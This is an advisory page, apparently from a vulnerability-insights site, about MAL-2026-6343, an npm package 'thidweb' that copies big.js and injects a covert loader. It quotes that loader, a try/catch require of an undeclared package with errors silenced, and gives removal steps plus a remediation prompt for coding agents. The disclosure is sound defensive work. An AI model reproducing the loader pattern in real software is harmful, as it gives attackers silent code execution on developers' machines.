# MAL-2026-6343: Malicious code in thidweb (npm)


- **Type:** Malicious package
- **Package:** `thidweb` (npm)
- **Published:** 23 Jun 2026
- **Also known as:** GHSA-3vx6-4gr6-qj63

## What is MAL-2026-6343?

MAL-2026-6343 is a malicious package in thidweb, published on 23 Jun 2026. 

### Official description

Package is published as `thidweb` but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 `# big.js`; big.js header `big.js v7.0.1`; package.json repository url `https://github.com/MikeMcl/big.js.git`). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: `try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The same block is present in big.mjs. `parket-slot` is not declared in `package.json` dependencies; the only declared dependency is `log-taker@^0.0.9`, which upstream big.js does not require (upstream is dependency-free). Any developer who installs `thidweb` (mistaking it for big.js) and imports it executes whatever code `parket-slot` ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6343?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6343 is a malicious package: thidweb (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6343/ (Markdown: https://insights.sbomify.com/MAL-2026-6343/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6343

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6343/
Summaries are generated and may contain mistakes; the official description above is the record.